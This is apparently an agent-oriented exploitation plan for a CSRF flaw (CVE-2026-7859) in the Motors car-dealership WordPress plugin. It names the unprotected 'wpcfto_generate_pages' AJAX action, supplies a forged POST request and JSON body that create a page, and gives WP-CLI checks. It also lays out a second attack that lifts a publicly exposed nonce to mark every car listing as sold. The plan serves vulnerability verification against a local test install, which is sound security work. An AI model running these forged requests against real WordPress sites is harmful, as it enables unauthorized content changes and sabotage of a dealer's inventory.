Exploitation Research Plan - CVE-2026-7859 (Motors Plugin CSRF)

1. Vulnerability Summary

The Motors – Car Dealership & Classified Listings Plugin for WordPress (versions < 1.4.110) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists because several AJAX endpoints, specifically those related to page generation and dealership management, fail to implement or correctly validate WordPress nonces. This allows an unauthenticated attacker to trick a site administrator into performing sensitive actions, such as generating arbitrary pages or modifying dealership listings, by visiting a malicious link.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpcfto_generate_pages (identified in includes/admin/page_generator/js/page_generator.js)
• HTTP Method: POST
• Vulnerable Parameter: The entire request body (JSON payload) lacks a nonce/security token.
• Authentication Level: Administrator (victim must be logged in).
• Preconditions: The attacker must trick the administrator into executing a request to the vulnerable endpoint.

3. Code Flow

1. Frontend Registration (JS): In includes/admin/page_generator/js/page_generator.js, the Vue component mvl_page_generator defines a method generatePages().
2. AJAX Call: The method executes this.$http.post(ajaxurl + '?action=wpcfto_generate_pages', JSON.stringify(vm.field_data)).
3. Observation: Note that no nonce variable (e.g., _wpnonce or security) is passed in the URL parameters or the JSON body.
4. Backend Handler (PHP): The wpcfto_generate_pages action is registered (likely via wp_ajax_wpcfto_generate_pages). Based on the JS behavior, the handler fails to call check_admin_referer() or check_ajax_referer(), allowing requests without a valid security token to proceed.
5. Sink: The handler processes vm.field_data to generate WordPress pages, leading to unauthorized content creation.

4. Nonce Acquisition Strategy

Based on the source file includes/admin/page_generator/js/page_generator.js, the wpcfto_generate_pages action does not require a nonce. The JavaScript sends a raw JSON payload to the ajaxurl with only the action parameter in the query string.

If a different action like stm_ajax_buy_car_online (from app-ajax.js) is targeted, it uses stm_security_nonce. To obtain this nonce:

1. Identify a page where the dealership listings are displayed (common on the homepage or /inventory/).
2. Use browser_navigate to that page.
3. Extract the nonce via browser_eval("window.stm_security_nonce").

However, for the primary wpcfto_generate_pages exploit, no nonce is needed.

5. Exploitation Strategy

We will forge a request to the wpcfto_generate_pages endpoint to create a dummy page, proving unauthorized action.

HTTP Request (via http_request tool)

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wpcfto_generate_pages
• Headers:
  • Content-Type: application/json
• Body:

{
    "pages": {
        "vulnerability_check": {
            "title": "CSRF Vulnerability Proven",
            "content": "This page was generated via an unauthorized CSRF request in CVE-2026-7859."
        }
    }
}

6. Test Data Setup

1. Ensure the Motors plugin is active (version < 1.4.110).
2. Create an Administrator user and log in (the execution agent will use the admin session context).
3. No specific listings are required for the wpcfto_generate_pages action, as it targets the page generation utility.

7. Expected Results

• The server should return a 200 OK or 201 Created status code.
• The response body should indicate success (e.g., {"success":true} or a simple 0 if the handler returns nothing but executes).
• A new page titled "CSRF Vulnerability Proven" should be created in the WordPress database.

8. Verification Steps

1. Check Pages via WP-CLI:

   wp post list --post_type=page --post_status=publish --field=post_title
   

2. Verify Title: Confirm "CSRF Vulnerability Proven" appears in the list.
3. Check Plugin Version:

   wp plugin get motors-car-dealership-classified-listings --field=version
   

9. Alternative Approaches

If wpcfto_generate_pages is restricted by server-side Content-Type checks that block standard CSRF, target the listings-sold action in includes/actions.php.

Alternative Target: listings-sold

• URL: http://localhost:8080/?ajax_action=listings-sold
• Note: includes/actions.php calls check_ajax_referer( 'stm_security_nonce', 'security' );.
• Bypass Check: Verify if stm_security_nonce is localized on public pages. If it is, an unauthenticated attacker can steal the nonce from the source and use it to forge a request on behalf of an admin to mark all cars as sold, effectively sabotaging the dealership's inventory display.
• Acquisition: browser_eval("stm_security_nonce").
• Request: POST /?ajax_action=listings-sold&security=[STOLEN_NONCE].